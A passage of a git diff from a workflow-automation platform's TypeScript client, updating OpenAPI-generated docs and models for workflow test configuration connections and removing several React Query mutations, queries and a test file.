 | Method | HTTP request | Description |
 |------------- | ------------- | -------------|
-| [**deleteWorkflowTestConfigurationConnection**](WorkflowTestConfigurationApi.md#deleteworkflowtestconfigurationconnectionoperation) | **DELETE** /workflow-test-configurations/{workflowId}/workflow-nodes/{workflowNodeName}/{workflowConnectionKey}/connections | Delete a workflow test configuration connection |
+| [**deleteWorkflowTestConfigurationConnection**](WorkflowTestConfigurationApi.md#deleteworkflowtestconfigurationconnection) | **DELETE** /workflow-test-configurations/{workflowId}/workflow-nodes/{workflowNodeName}/{workflowConnectionKey}/connections | Delete a workflow test configuration connection |
 | [**getWorkflowTestConfiguration**](WorkflowTestConfigurationApi.md#getworkflowtestconfiguration) | **GET** /workflow-test-configurations/{workflowId} | Get a workflow test configuration |
 | [**getWorkflowTestConfigurationConnections**](WorkflowTestConfigurationApi.md#getworkflowtestconfigurationconnections) | **GET** /workflow-test-configurations/{workflowId}/workflow-nodes/{workflowNodeName}/connections | Get a workflow test configuration connections |
 | [**saveWorkflowTestConfiguration**](WorkflowTestConfigurationApi.md#saveworkflowtestconfiguration) | **PUT** /workflow-test-configurations/{workflowId} | Create new or update an existing workflow test configuration |
+| [**saveWorkflowTestConfigurationConnection**](WorkflowTestConfigurationApi.md#saveworkflowtestconfigurationconnectionoperation) | **PUT** /workflow-test-configurations/{workflowId}/workflow-nodes/{workflowNodeName}/{workflowConnectionKey}/connections | Save a workflow test configuration connection |
 | [**saveWorkflowTestConfigurationInputs**](WorkflowTestConfigurationApi.md#saveworkflowtestconfigurationinputsoperation) | **PUT** /workflow-test-configurations/{workflowId}/inputs | Save a workflow test configuration inputs |
 
 
 
 ## deleteWorkflowTestConfigurationConnection
 
-> deleteWorkflowTestConfigurationConnection(workflowId, workflowNodeName, workflowConnectionKey, environmentId, deleteWorkflowTestConfigurationConnectionRequest)
+> deleteWorkflowTestConfigurationConnection(workflowId, workflowNodeName, workflowConnectionKey, environmentId, saveWorkflowTestConfigurationConnectionRequest)
 
 Delete a workflow test configuration connection
 
@@ -27,7 +28,7 @@ import {
   Configuration,
   WorkflowTestConfigurationApi,
 } from '';
-import type { DeleteWorkflowTestConfigurationConnectionOperationRequest } from '';
+import type { DeleteWorkflowTestConfigurationConnectionRequest } from '';
 
 async function example() {
   console.log("🚀 Testing  SDK...");
@@ -42,9 +43,9 @@ async function example() {
     workflowConnectionKey: workflowConnectionKey_example,
     // number | The id of an environment.
     environmentId: 789,
-    // DeleteWorkflowTestConfigurationConnectionRequest
-    deleteWorkflowTestConfigurationConnectionRequest: ...,
-  } satisfies DeleteWorkflowTestConfigurationConnectionOperationRequest;
+    // SaveWorkflowTestConfigurationConnectionRequest
+    saveWorkflowTestConfigurationConnectionRequest: ...,
+  } satisfies DeleteWorkflowTestConfigurationConnectionRequest;
 
   try {
     const data = await api.deleteWorkflowTestConfigurationConnection(body);
@@ -67,7 +68,7 @@ example().catch(console.error);
 | **workflowNodeName** | `string` | The action/trigger name defined in the workflow. | [Defaults to `undefined`] |
 | **workflowConnectionKey** | `string` | The key of a connection. | [Defaults to `undefined`] |
 | **environmentId** | `number` | The id of an environment. | [Defaults to `undefined`] |
-| **deleteWorkflowTestConfigurationConnectionRequest** | [DeleteWorkflowTestConfigurationConnectionRequest](DeleteWorkflowTestConfigurationConnectionRequest.md) |  | |
+| **saveWorkflowTestConfigurationConnectionRequest** | [SaveWorkflowTestConfigurationConnectionRequest](SaveWorkflowTestConfigurationConnectionRequest.md) |  | |
 
 ### Return type
 
@@ -304,6 +305,85 @@ No authorization required
 [[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
 
 
+## saveWorkflowTestConfigurationConnection
+
+> saveWorkflowTestConfigurationConnection(workflowId, workflowNodeName, workflowConnectionKey, environmentId, saveWorkflowTestConfigurationConnectionRequest)
+
+Save a workflow test configuration connection
+
+Save a workflow test configuration connection.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  WorkflowTestConfigurationApi,
+} from '';
+import type { SaveWorkflowTestConfigurationConnectionOperationRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new WorkflowTestConfigurationApi();
+
+  const body = {
+    // string | The id of a testing workflow.
+    workflowId: workflowId_example,
+    // string | The action/trigger name defined in the workflow.
+    workflowNodeName: workflowNodeName_example,
+    // string | The key of a connection.
+    workflowConnectionKey: workflowConnectionKey_example,
+    // number | The id of an environment.
+    environmentId: 789,
+    // SaveWorkflowTestConfigurationConnectionRequest
+    saveWorkflowTestConfigurationConnectionRequest: ...,
+  } satisfies SaveWorkflowTestConfigurationConnectionOperationRequest;
+
+  try {
+    const data = await api.saveWorkflowTestConfigurationConnection(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **workflowId** | `string` | The id of a testing workflow. | [Defaults to `undefined`] |
+| **workflowNodeName** | `string` | The action/trigger name defined in the workflow. | [Defaults to `undefined`] |
+| **workflowConnectionKey** | `string` | The key of a connection. | [Defaults to `undefined`] |
+| **environmentId** | `number` | The id of an environment. | [Defaults to `undefined`] |
+| **saveWorkflowTestConfigurationConnectionRequest** | [SaveWorkflowTestConfigurationConnectionRequest](SaveWorkflowTestConfigurationConnectionRequest.md) |  | |
+
+### Return type
+
+`void` (Empty response body)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: `application/json`
+- **Accept**: Not defined
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **204** | Successful operation. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
 ## saveWorkflowTestConfigurationInputs
 
 > saveWorkflowTestConfigurationInputs(workflowId, environmentId, saveWorkflowTestConfigurationInputsRequest)
diff --git a/client/src/shared/middleware/platform/configuration/models/ActionDefinition.ts b/client/src/shared/middleware/platform/configuration/models/ActionDefinition.ts
index 32303c723ad..598be1fc655 100644
--- a/client/src/shared/middleware/platform/configuration/models/ActionDefinition.ts
+++ b/client/src/shared/middleware/platform/configuration/models/ActionDefinition.ts
@@ -88,12 +88,6 @@ export interface ActionDefinition {
      * @memberof ActionDefinition
      */
     properties?: Array<Property>;
-    /**
-     * Does action support SSE streaming.
-     * @type {boolean}
-     * @memberof ActionDefinition
-     */
-    sseStreamResponse?: boolean;
     /**
      * The title
      * @type {string}
@@ -139,7 +133,6 @@ export function ActionDefinitionFromJSONTyped(json: any, ignoreDiscriminator: bo
         'outputFunctionDefined': json['outputFunctionDefined'],
         'outputSchemaDefined': json['outputSchemaDefined'] == null ? undefined : json['outputSchemaDefined'],
         'properties': json['properties'] == null ? undefined : ((json['properties'] as Array<any>).map(PropertyFromJSON)),
-        'sseStreamResponse': json['sseStreamResponse'] == null ? undefined : json['sseStreamResponse'],
         'title': json['title'] == null ? undefined : json['title'],
         'workflowNodeDescriptionDefined': json['workflowNodeDescriptionDefined'] == null ? undefined : json['workflowNodeDescriptionDefined'],
     };
@@ -165,7 +158,6 @@ export function ActionDefinitionToJSONTyped(value?: ActionDefinition | null, ign
         'outputFunctionDefined': value['outputFunctionDefined'],
         'outputSchemaDefined': value['outputSchemaDefined'],
         'properties': value['properties'] == null ? undefined : ((value['properties'] as Array<any>).map(PropertyToJSON)),
-        'sseStreamResponse': value['sseStreamResponse'],
         'title': value['title'],
         'workflowNodeDescriptionDefined': value['workflowNodeDescriptionDefined'],
     };
diff --git a/client/src/shared/middleware/platform/configuration/models/ActionDefinitionBasic.ts b/client/src/shared/middleware/platform/configuration/models/ActionDefinitionBasic.ts
index 7297dc29b7b..50882abc224 100644
--- a/client/src/shared/middleware/platform/configuration/models/ActionDefinitionBasic.ts
+++ b/client/src/shared/middleware/platform/configuration/models/ActionDefinitionBasic.ts
@@ -75,12 +75,6 @@ export interface ActionDefinitionBasic {
      * @memberof ActionDefinitionBasic
      */
     outputSchemaDefined?: boolean;
-    /**
-     * Does action support SSE streaming.
-     * @type {boolean}
-     * @memberof ActionDefinitionBasic
-     */
-    sseStreamResponse?: boolean;
     /**
      * The title
      * @type {string}
@@ -119,7 +113,6 @@ export function ActionDefinitionBasicFromJSONTyped(json: any, ignoreDiscriminato
         'outputDefined': json['outputDefined'],
         'outputFunctionDefined': json['outputFunctionDefined'],
         'outputSchemaDefined': json['outputSchemaDefined'] == null ? undefined : json['outputSchemaDefined'],
-        'sseStreamResponse': json['sseStreamResponse'] == null ? undefined : json['sseStreamResponse'],
         'title': json['title'] == null ? undefined : json['title'],
     };
 }
@@ -143,7 +136,6 @@ export function ActionDefinitionBasicToJSONTyped(value?: ActionDefinitionBasic |
         'outputDefined': value['outputDefined'],
         'outputFunctionDefined': value['outputFunctionDefined'],
         'outputSchemaDefined': value['outputSchemaDefined'],
-        'sseStreamResponse': value['sseStreamResponse'],
         'title': value['title'],
     };
 }
diff --git a/client/src/shared/middleware/platform/configuration/models/ControlType.ts b/client/src/shared/middleware/platform/configuration/models/ControlType.ts
index 092bd0edfc7..9dc182e335f 100644
--- a/client/src/shared/middleware/platform/configuration/models/ControlType.ts
+++ b/client/src/shared/middleware/platform/configuration/models/ControlType.ts
@@ -23,7 +23,6 @@ export const ControlType = {
     Date: 'DATE',
     DateTime: 'DATE_TIME',
     Email: 'EMAIL',
-    FormulaMode: 'FORMULA_MODE',
     Integer: 'INTEGER',
     JsonSchemaBuilder: 'JSON_SCHEMA_BUILDER',
     FileEntry: 'FILE_ENTRY',
diff --git a/client/src/shared/middleware/platform/configuration/models/DeleteWorkflowTestConfigurationConnectionRequest.ts b/client/src/shared/middleware/platform/configuration/models/DeleteWorkflowTestConfigurationConnectionRequest.ts
deleted file mode 100644
index fac2be6771a..00000000000
--- a/client/src/shared/middleware/platform/configuration/models/DeleteWorkflowTestConfigurationConnectionRequest.ts
+++ /dev/null
@@ -1,66 +0,0 @@
-/* tslint:disable */
-/* eslint-disable */
-/**
- * The Platform Configuration Internal API
- * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
- *
- * The version of the OpenAPI document: 1
- * 
- *
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
- * https://openapi-generator.tech
- * Do not edit the class manually.
- */
-
-import { mapValues } from '../runtime';
-/**
- * 
- * @export
- * @interface DeleteWorkflowTestConfigurationConnectionRequest
- */
-export interface DeleteWorkflowTestConfigurationConnectionRequest {
-    /**
-     * 
-     * @type {number}
-     * @memberof DeleteWorkflowTestConfigurationConnectionRequest
-     */
-    connectionId: number;
-}
-
-/**
- * Check if a given object implements the DeleteWorkflowTestConfigurationConnectionRequest interface.
- */
-export function instanceOfDeleteWorkflowTestConfigurationConnectionRequest(value: object): value is DeleteWorkflowTestConfigurationConnectionRequest {
-    if (!('connectionId' in value) || value['connectionId'] === undefined) return false;
-    return true;
-}
-
-export function DeleteWorkflowTestConfigurationConnectionRequestFromJSON(json: any): DeleteWorkflowTestConfigurationConnectionRequest {
-    return DeleteWorkflowTestConfigurationConnectionRequestFromJSONTyped(json, false);
-}
-
-export function DeleteWorkflowTestConfigurationConnectionRequestFromJSONTyped(json: any, ignoreDiscriminator: boolean): DeleteWorkflowTestConfigurationConnectionRequest {
-    if (json == null) {
-        return json;
-    }
-    return {
-        
-        'connectionId': json['connectionId'],
-    };
-}
-
-export function DeleteWorkflowTestConfigurationConnectionRequestToJSON(json: any): DeleteWorkflowTestConfigurationConnectionRequest {
-    return DeleteWorkflowTestConfigurationConnectionRequestToJSONTyped(json, false);
-}
-
-export function DeleteWorkflowTestConfigurationConnectionRequestToJSONTyped(value?: DeleteWorkflowTestConfigurationConnectionRequest | null, ignoreDiscriminator: boolean = false): any {
-    if (value == null) {
-        return value;
-    }
-
-    return {
-        
-        'connectionId': value['connectionId'],
-    };
-}
-
diff --git a/client/src/shared/middleware/platform/configuration/models/SaveWorkflowTestConfigurationConnectionRequest.ts b/client/src/shared/middleware/platform/configuration/models/SaveWorkflowTestConfigurationConnectionRequest.ts
new file mode 100644
index 00000000000..d9b3a7658d3
--- /dev/null
+++ b/client/src/shared/middleware/platform/configuration/models/SaveWorkflowTestConfigurationConnectionRequest.ts
@@ -0,0 +1,66 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform Configuration Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+import { mapValues } from '../runtime';
+/**
+ * 
+ * @export
+ * @interface SaveWorkflowTestConfigurationConnectionRequest
+ */
+export interface SaveWorkflowTestConfigurationConnectionRequest {
+    /**
+     * 
+     * @type {number}
+     * @memberof SaveWorkflowTestConfigurationConnectionRequest
+     */
+    connectionId: number;
+}
+
+/**
+ * Check if a given object implements the SaveWorkflowTestConfigurationConnectionRequest interface.
+ */
+export function instanceOfSaveWorkflowTestConfigurationConnectionRequest(value: object): value is SaveWorkflowTestConfigurationConnectionRequest {
+    if (!('connectionId' in value) || value['connectionId'] === undefined) return false;
+    return true;
+}
+
+export function SaveWorkflowTestConfigurationConnectionRequestFromJSON(json: any): SaveWorkflowTestConfigurationConnectionRequest {
+    return SaveWorkflowTestConfigurationConnectionRequestFromJSONTyped(json, false);
+}
+
+export function SaveWorkflowTestConfigurationConnectionRequestFromJSONTyped(json: any, ignoreDiscriminator: boolean): SaveWorkflowTestConfigurationConnectionRequest {
+    if (json == null) {
+        return json;
+    }
+    return {
+        
+        'connectionId': json['connectionId'],
+    };
+}
+
+export function SaveWorkflowTestConfigurationConnectionRequestToJSON(json: any): SaveWorkflowTestConfigurationConnectionRequest {
+    return SaveWorkflowTestConfigurationConnectionRequestToJSONTyped(json, false);
+}
+
+export function SaveWorkflowTestConfigurationConnectionRequestToJSONTyped(value?: SaveWorkflowTestConfigurationConnectionRequest | null, ignoreDiscriminator: boolean = false): any {
+    if (value == null) {
+        return value;
+    }
+
+    return {
+        
+        'connectionId': value['connectionId'],
+    };
+}
+
diff --git a/client/src/shared/middleware/platform/configuration/models/index.ts b/client/src/shared/middleware/platform/configuration/models/index.ts
index b3ac955f7a2..a00413a1d32 100644
--- a/client/src/shared/middleware/platform/configuration/models/index.ts
+++ b/client/src/shared/middleware/platform/configuration/models/index.ts
@@ -22,7 +22,6 @@ export * from './DateProperty';
 export * from './DateTimeProperty';
 export * from './DeleteClusterElementParameter200Response';
 export * from './DeleteClusterElementParameterRequest';
-export * from './DeleteWorkflowTestConfigurationConnectionRequest';
 export * from './DynamicPropertiesProperty';
 export * from './Environment';
 export * from './ExecutionError';
@@ -45,6 +44,7 @@ export * from './PropertiesDataSource';
 export * from './Property';
 export * from './PropertyType';
 export * from './Resources';
+export * from './SaveWorkflowTestConfigurationConnectionRequest';
 export * from './SaveWorkflowTestConfigurationInputsRequest';
 export * from './ScriptTestExecution';
 export * from './StringProperty';
diff --git a/client/src/shared/mutations/automation/connections.mutations.ts b/client/src/shared/mutations/automation/connections.mutations.ts
index c936b606c5d..3109687f09f 100644
--- a/client/src/shared/mutations/automation/connections.mutations.ts
+++ b/client/src/shared/mutations/automation/connections.mutations.ts
@@ -1,6 +1,5 @@
 import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
 import {Connection, ConnectionApi} from '@/shared/middleware/automation/configuration';
-import {useDisconnectConnectionMutation as useDisconnectConnectionGraphQL} from '@/shared/middleware/graphql';
 import {useMutation} from '@tanstack/react-query';
 
 interface CreateConnectionMutationProps {
@@ -41,27 +40,6 @@ export const useDeleteConnectionMutation = (mutationProps?: DeleteConnectionMuta
         onSuccess: mutationProps?.onSuccess,
     });
 
-interface DisconnectConnectionMutationProps {
-    onSuccess?: () => void;
-    onError?: (error: Error) => void;
-}
-
-export const useDisconnectConnectionMutation = (mutationProps?: DisconnectConnectionMutationProps) => {
-    const graphqlMutation = useDisconnectConnectionGraphQL();
-
-    return useMutation<boolean, Error, number>({
-        mutationFn: async (connectionId: number) => {
-            const result = await graphqlMutation.mutateAsync({
-                connectionId: connectionId.toString(),
-            });
-
-            return result.disconnectConnection;
-        },
-        onError: mutationProps?.onError,
-        onSuccess: mutationProps?.onSuccess,
-    });
-};
-
 interface UpdateConnectionMutationProps {
     onSuccess?: (result: void, variables: Connection) => void;
     onError?: (error: Error, variables: Connection) => void;
diff --git a/client/src/shared/mutations/automation/projects.mutations.ts b/client/src/shared/mutations/automation/projects.mutations.ts
index 627d4733903..bafe7caabeb 100644
--- a/client/src/shared/mutations/automation/projects.mutations.ts
+++ b/client/src/shared/mutations/automation/projects.mutations.ts
@@ -1,9 +1,4 @@
-import {
-    ImportProjectRequest,
-    Project,
-    ProjectApi,
-    PublishProjectOperationRequest,
-} from '@/shared/middleware/automation/configuration';
+import {Project, ProjectApi, PublishProjectOperationRequest} from '@/shared/middleware/automation/configuration';
 import {useMutation} from '@tanstack/react-query';
 
 interface CreateProjectMutationProps {
@@ -22,20 +17,6 @@ export const useCreateProjectMutation = (mutationProps?: CreateProjectMutationPr
         onSuccess: mutationProps?.onSuccess,
     });
 
-interface ImportProjectMutationProps {
-    onSuccess?: (result: number, variables: ImportProjectRequest) => void;
-    onError?: (error: Error, variables: ImportProjectRequest) => void;
-}
-
-export const useImportProjectMutation = (mutationProps?: ImportProjectMutationProps) =>
-    useMutation({
-        mutationFn: (request: ImportProjectRequest) => {
-            return new ProjectApi().importProject(request);
-        },
-        onError: mutationProps?.onError,
-        onSuccess: mutationProps?.onSuccess,
-    });
-
 interface DeleteProjectMutationProps {
     onSuccess?: (result: void, variables: number) => void;
     onError?: (error: Error, variables: number) => void;
diff --git a/client/src/shared/mutations/automation/workflows.mutations.ts b/client/src/shared/mutations/automation/workflows.mutations.ts
index 4d27bf4f01a..d4430d40e3f 100644
--- a/client/src/shared/mutations/automation/workflows.mutations.ts
+++ b/client/src/shared/mutations/automation/workflows.mutations.ts
@@ -1,8 +1,6 @@
 import {
-    CreateProjectWorkflow200Response,
     CreateProjectWorkflowRequest,
     DeleteWorkflowRequest,
-    DuplicateWorkflow200Response,
     DuplicateWorkflowRequest,
     UpdateWorkflowRequest,
     WorkflowApi,
@@ -10,7 +8,7 @@ import {
 import {useMutation} from '@tanstack/react-query';
 
 interface CreateProjectWorkflowMutationProps {
-    onSuccess?: (result: CreateProjectWorkflow200Response, variables: CreateProjectWorkflowRequest) => void;
+    onSuccess?: (result: number, variables: CreateProjectWorkflowRequest) => void;
     onError?: (error: Error, variables: CreateProjectWorkflowRequest) => void;
 }
 
@@ -39,7 +37,7 @@ export const useDeleteWorkflowMutation = (mutationProps?: DeleteWorkflowMutation
     });
 
 interface DuplicateWorkflowMutationProps {
-    onSuccess?: (result: DuplicateWorkflow200Response, variables: DuplicateWorkflowRequest) => void;
+    onSuccess?: (result: string, variables: DuplicateWorkflowRequest) => void;
     onError?: (error: Error, variables: DuplicateWorkflowRequest) => void;
 }
 
diff --git a/client/src/shared/mutations/platform/jobs.mutations.ts b/client/src/shared/mutations/platform/jobs.mutations.ts
deleted file mode 100644
index ff514fd7591..00000000000
--- a/client/src/shared/mutations/platform/jobs.mutations.ts
+++ /dev/null
@@ -1,18 +0,0 @@
-import {JobApi} from '@/shared/middleware/platform/workflow/execution/apis/JobApi';
-import {useMutation} from '@tanstack/react-query';
-
-interface JobMutationProps {
-    onError?: (error: Error, variables: number) => void;
-    onSuccess?: (result: void, variables: number) => void;
-}
-
-export const useStopJobMutation = (jobMutationProps: JobMutationProps) =>
-    useMutation<void, Error, number>({
-        mutationFn: (id: number) => {
-            return new JobApi().stopJob({
-                id,
-            });
-        },
-        onError: jobMutationProps?.onError,
-        onSuccess: jobMutationProps?.onSuccess,
-    });
diff --git a/client/src/shared/mutations/platform/workflowTestConfigurations.mutations.ts b/client/src/shared/mutations/platform/workflowTestConfigurations.mutations.ts
index 8438a80bde5..078a0ab816f 100644
--- a/client/src/shared/mutations/platform/workflowTestConfigurations.mutations.ts
+++ b/client/src/shared/mutations/platform/workflowTestConfigurations.mutations.ts
@@ -1,5 +1,6 @@
 import {
-    DeleteWorkflowTestConfigurationConnectionOperationRequest,
+    DeleteWorkflowTestConfigurationConnectionRequest,
+    SaveWorkflowTestConfigurationConnectionOperationRequest,
     SaveWorkflowTestConfigurationInputsOperationRequest,
     SaveWorkflowTestConfigurationRequest,
     WorkflowTestConfiguration,
@@ -8,15 +9,15 @@ import {
 import {useMutation} from '@tanstack/react-query';
 
 interface DeleteWorkflowTestConfigurationConnectionRequestProps {
-    onSuccess?: (result: void, variables: DeleteWorkflowTestConfigurationConnectionOperationRequest) => void;
-    onError?: (error: Error, variables: DeleteWorkflowTestConfigurationConnectionOperationRequest) => void;
+    onSuccess?: (result: void, variables: DeleteWorkflowTestConfigurationConnectionRequest) => void;
+    onError?: (error: Error, variables: DeleteWorkflowTestConfigurationConnectionRequest) => void;
 }
 
 export const useDeleteWorkflowTestConfigurationConnectionMutation = (
     mutationProps?: DeleteWorkflowTestConfigurationConnectionRequestProps
 ) =>
     useMutation({
-        mutationFn: (request: DeleteWorkflowTestConfigurationConnectionOperationRequest) => {
+        mutationFn: (request: DeleteWorkflowTestConfigurationConnectionRequest) => {
             return new WorkflowTestConfigurationApi().deleteWorkflowTestConfigurationConnection(request);
         },
         onError: mutationProps?.onError,
@@ -37,6 +38,22 @@ export const useSaveWorkflowTestConfigurationMutation = (mutationProps?: SaveWor
         onSuccess: mutationProps?.onSuccess,
     });
 
+interface SaveWorkflowTestConfigurationConnectionRequestProps {
+    onSuccess?: (result: void, variables: SaveWorkflowTestConfigurationConnectionOperationRequest) => void;
+    onError?: (error: Error, variables: SaveWorkflowTestConfigurationConnectionOperationRequest) => void;
+}
+
+export const useSaveWorkflowTestConfigurationConnectionMutation = (
+    mutationProps?: SaveWorkflowTestConfigurationConnectionRequestProps
+) =>
+    useMutation({
+        mutationFn: (request: SaveWorkflowTestConfigurationConnectionOperationRequest) => {
+            return new WorkflowTestConfigurationApi().saveWorkflowTestConfigurationConnection(request);
+        },
+        onError: mutationProps?.onError,
+        onSuccess: mutationProps?.onSuccess,
+    });
+
 interface SaveWorkflowTestConfigurationInputsRequestProps {
     onSuccess?: (result: void, variables: SaveWorkflowTestConfigurationInputsOperationRequest) => void;
     onError?: (error: Error, variables: SaveWorkflowTestConfigurationInputsOperationRequest) => void;
diff --git a/client/src/shared/queries/automation/datatables.queries.ts b/client/src/shared/queries/automation/datatables.queries.ts
deleted file mode 100644
index 91fc39a5bc5..00000000000
--- a/client/src/shared/queries/automation/datatables.queries.ts
+++ /dev/null
@@ -1,58 +0,0 @@
-import {endpointUrl, fetchParams} from '@/shared/middleware/config';
-import {
-    DataTableRowsPageDocument,
-    DataTableRowsPageQuery,
-    DataTableRowsPageQueryVariables,
-} from '@/shared/middleware/graphql';
-import {InfiniteData, UseInfiniteQueryOptions, useInfiniteQuery} from '@tanstack/react-query';
-
-export const DataTableKeys = {
-    list: (environmentId: string, workspaceId: string) => ['dataTables', {environmentId, workspaceId}] as const,
-    rows: (environmentId: string, tableId: string) => ['dataTableRows', {environmentId, tableId}] as const,
-    rowsPage: (environmentId: string, tableId: string, limit = 100) =>
-        ['dataTableRowsPage', {environmentId, limit, tableId}] as const,
-};
-
-async function gqlFetch<TData, TVars>(query: string, variables?: TVars): Promise<TData> {
-    const res = await fetch(endpointUrl as string, {
-        method: 'POST',
-        ...(fetchParams as RequestInit),
-        body: JSON.stringify({query, variables}),
-    });
-
-    const json = await res.json();
-
-    if (json.errors) {
-        throw new Error(json.errors[0]?.message ?? 'GraphQL error');
-    }
-
-    return json.data;
-}
-
-export const useDataTableRowsInfiniteQuery = (
-    variables: {environmentId: string; tableId: string; limit?: number},
-    options?: Omit<
-        UseInfiniteQueryOptions<DataTableRowsPageQuery, Error, InfiniteData<DataTableRowsPageQuery, number>>,
-        'queryKey' | 'queryFn' | 'getNextPageParam' | 'initialPageParam'
-    >
-) => {
-    const limit = variables.limit ?? 100;
-
-    return useInfiniteQuery({
-        getNextPageParam: (lastPage) => {
-            const page = lastPage.dataTableRowsPage;
-
-            return page.hasMore ? (page.nextOffset ?? undefined) : undefined;
-        },
-        initialPageParam: 0,
-        queryFn: ({pageParam}) =>
-            gqlFetch<DataTableRowsPageQuery, DataTableRowsPageQueryVariables>(DataTableRowsPageDocument, {
-                environmentId: variables.environmentId,
-                limit,
-                offset: typeof pageParam === 'number' ? pageParam : 0,
-                tableId: variables.tableId,
-            }),
-        queryKey: DataTableKeys.rowsPage(variables.environmentId, variables.tableId, limit),
-        ...options,
-    });
-};
diff --git a/client/src/shared/queries/automation/tests/workflowExecutions.queries.test.ts b/client/src/shared/queries/automation/tests/workflowExecutions.queries.test.ts
deleted file mode 100644
index 3f104ec79b4..00000000000
--- a/client/src/shared/queries/automation/tests/workflowExecutions.queries.test.ts
+++ /dev/null
@@ -1,61 +0,0 @@
-import {describe, expect, it} from 'vitest';
-
-import {WorkflowExecutionKeys} from '../workflowExecutions.queries';
-
-describe('workflowExecutions.queries', () => {
-    describe('WorkflowExecutionKeys', () => {
-        it('generates correct base key for workflow executions', () => {
-            expect(WorkflowExecutionKeys.workflowExecutions).toEqual(['automation_workflowExecutions']);
-        });
-
-        it('generates correct key for workflow execution by id', () => {
-            const result = WorkflowExecutionKeys.workflowExecution(123);
-
-            expect(result).toEqual(['automation_workflowExecutions', 123]);
-        });
-
-        it('generates correct key for filtered workflow executions', () => {
-            const request = {
-                id: 1,
-                pageNumber: 0,
-                pageSize: 10,
-                projectId: 1,
-            };
-
-            const result = WorkflowExecutionKeys.filteredWorkflowExecutions(request);
-
-            expect(result).toEqual(['automation_workflowExecutions', request]);
-        });
-
-        it('generates unique keys for different workflow execution ids', () => {
-            const key1 = WorkflowExecutionKeys.workflowExecution(1);
-            const key2 = WorkflowExecutionKeys.workflowExecution(2);
-
-            expect(key1).not.toEqual(key2);
-            expect(key1).toEqual(['automation_workflowExecutions', 1]);
-            expect(key2).toEqual(['automation_workflowExecutions', 2]);
-        });
-
-        it('generates unique keys for different filter requests', () => {
-            const request1 = {id: 1, pageNumber: 0, projectId: 1};
-            const request2 = {id: 1, pageNumber: 0, projectId: 2};
-
-            const key1 = WorkflowExecutionKeys.filteredWorkflowExecutions(request1);
-            const key2 = WorkflowExecutionKeys.filteredWorkflowExecutions(request2);
-
-            expect(key1).not.toEqual(key2);
-        });
-
-        it('workflow execution key includes base workflow executions key', () => {
-            const executionKey = WorkflowExecutionKeys.workflowExecution(123);
-
-            expect(executionKey[0]).toBe(WorkflowExecutionKeys.workflowExecutions[0]);
-        });
-
-        it('filtered workflow executions key includes base workflow executions key', () => {
-            const filteredKey = WorkflowExecutionKeys.filteredWorkflowExecutions({id: 1, pageNumber: 0});
-
-            expect(filteredKey[0]).toBe(WorkflowExecutionKeys.workflowExecutions[0]);
-        });
-    });
-});
diff --git a/client/src/shared/queries/automation/workflowExecutions.queries.ts b/client/src/shared/queries/automation/workflowExecutions.queries.ts
index 94a01324721..efcea18069e 100644
--- a/client/src/shared/queries/automation/workflowExecutions.queries.ts
+++ b/client/src/shared/queries/automation/workflowExecutions.queries.ts
@@ -28,14 +28,9 @@ export const useGetWorkspaceProjectWorkflowExecutionsQuery = (request: GetWorkfl
             }),
     });
 
-export const useGetProjectWorkflowExecutionQuery = (
-    request: GetWorkflowExecutionRequest,
-    enabled?: boolean,
-    refetchInterval?: number | false
-) =>
+export const useGetProjectWorkflowExecutionQuery = (request: GetWorkflowExecutionRequest, enabled?: boolean) =>
     useQuery<WorkflowExecution, Error>({
         queryKey: WorkflowExecutionKeys.workflowExecution(request.id),
         queryFn: () => new WorkflowExecutionApi().getWorkflowExecution(request),
         enabled: enabled === undefined ? true : enabled,
-        refetchInterval,
     });
diff --git a/client/src/shared/queries/platform/componentDefinitionsGraphQL.queries.ts b/client/src/shared/queries/platform/componentDefinitionsGraphQL.queries.ts
deleted file mode 100644
index 8fbc5c1d12a..00000000000
--- a/client/src/shared/queries/platform/componentDefinitionsGraphQL.queries.ts
+++ /dev/null
@@ -1,48 +0,0 @@
-import {useComponentDefinitionSearchQuery} from '@/shared/middleware/graphql';
-import {ComponentDefinitionBasic} from '@/shared/middleware/platform/configuration';
-import {useMemo} from 'react';
-
-export interface ComponentDefinitionWithActionsProps extends ComponentDefinitionBasic {
-    actions?: Array<{
-        name?: string;
-        title?: string;
-        description?: string;
-    }>;
-    triggers?: Array<{
-        name?: string;
-        title?: string;
-        description?: string;
-    }>;
-    clusterElements?: Array<{
-        type?: {
-            name?: string;
-        };
-    }>;
-}
-
-export const useGetComponentDefinitionsWithActionsQuery = (searchQuery?: string) => {
-    const trimmedQuery = searchQuery?.trim();
-    const hasSearchQuery = Boolean(trimmedQuery && trimmedQuery.length > 0);
-
-    const result = useComponentDefinitionSearchQuery(
-        {query: trimmedQuery || ''},
-        {
-            enabled: hasSearchQuery,
-            gcTime: 30 * 60 * 1000,
-            staleTime: 10 * 60 * 1000,
-        }
-    );
-
-    const transformedData = useMemo<ComponentDefinitionWithActionsProps[] | null>(() => {
-        if (!result.data?.componentDefinitionSearch) {
-            return null;
-        }
-
-        return result.data.componentDefinitionSearch as ComponentDefinitionWithActionsProps[];
-    }, [result.data]);
-
-    return {
-        ...result,
-        data: transformedData,
-    };
-};
diff --git a/client/src/shared/styles/dropdownMenu.css b/client/src/shared/styles/dropdownMenu.css
index 4669c74ee34..f39f9ec081c 100644
--- a/client/src/shared/styles/dropdownMenu.css
